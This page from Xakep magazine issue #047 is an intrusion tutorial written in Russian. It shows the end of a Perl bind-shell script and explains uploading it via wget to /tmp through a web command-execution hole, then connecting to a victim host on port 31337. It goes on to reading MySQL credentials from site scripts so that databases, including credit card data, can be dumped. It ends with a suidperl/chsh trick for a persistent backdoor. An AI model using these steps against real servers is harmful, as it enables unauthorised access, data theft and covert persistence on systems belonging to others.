Shell на халяву

Xakep, номер #047, стр. 047-064-2


open STDIN,"<&CONN";

open STDOUT,">&CONN";

open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал

exec $SHELL || die print CONN "Cant execute $SHELL\n"; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт

close CONN; ## Закрываем сокет после завершения работы шелла

exit 0; ## Корректно выходим, завершая потомок.

}

}

Закачиваем данный скрипт на ftp, а если это невозможно (дыры в софте с возможностью исполнения команд через WWW), то заливаем его с помощью программы wget в /tmp каталог. Затем выполняем командой perl /path/to/script (через cmd.cgi, естественно). Если окно с ошибкой не открывается, а браузер лишь задерживает выдачу ответа, значит, все прошло успешно, и порт открыт. Остается лишь зателнетиться на www.victim.com:31337 и юзать интерпретатор.

Интерпретатор, возможно, придется поднимать до нормального уровня. Ведь сколько мусора в логах... Тогда необходимо брать права рута. Если это русский хостинг, то это вряд ли прокатит. Наши админы, особенно на хостингах, хорошо заботятся о безопасности. А вот с буржуями все достаточно просто. У них ошибок на порядок больше. Но и писать здесь, каким способом взламывать буржуйский хостинг, я, естественно, не буду. Для этого надо изучать конкретный сервер, что на нем находится, потом ползать по разнообразным багтракам в поисках нужного сплоита. А возможно, придется и самому писать. Правда, в итоге может что-то и получится, но эти "самостоятельные упражнения" пресекаются УК :).

Подъем инфы без рута

Что, если зарутить не удается? Дело в том, что шелл запущен под правами apache. То есть, доступны www-директории, в которых можно найти обычные скрипты. А уже в них возможно найти аккаунт, например, для базы данных mysql. Затем можно выполнять команды mysql прямо из командной строки. Например, после получения аккаунта на базу в виде root:sqlpassword мы можем просмотреть базы такой командой:

bash-2.04$ mysql -uroot -psqlpassword -e 'show databases'

И так далее. То есть реально отдампить кучу кредиток и другой важной информации. Не этого ли желает большинство людей?

Установка бэкдора

У непривилегированного пользователя, наверняка, вместо шелла стоит что-то вроде /bin/false (ну, любят хостинги делать такие шеллы юзерам). Как кто-то говорил - нет безвыходных ситуаций. В юнихоподобных осях существует полезная команда: chsh. Она позволяет сменить шелл пользователю (если у тебя есть на это права). Но вот незадача - обычно апач выполняет команды под уидом apache или nobody, то есть через WWW-скрипт, как и через открытый порт, тебе шелл не сменить. Но на помощь приходит программа suidperl (она есть практически на всех Linux & BSD). Быстренько оформив через открытый порт скриптик shell.pl, получаем код следующего содержания:

#!/usr/bin/suidperl -U

system("/usr/bin/chsh LOGIN");

где LOGIN - твой логин, сделаем его суидным командой по ФТП: site chmod 4755 shell.pl (4 - SUID, 755 - исполнение). Затем, уже интерактивно (через бэкдор), запустим его при помощи suidperl:

bash-2.04$ suidperl -U shell.pl

Назад на стр. 047-064-1  Содержание  Вперед на стр. 047-064-3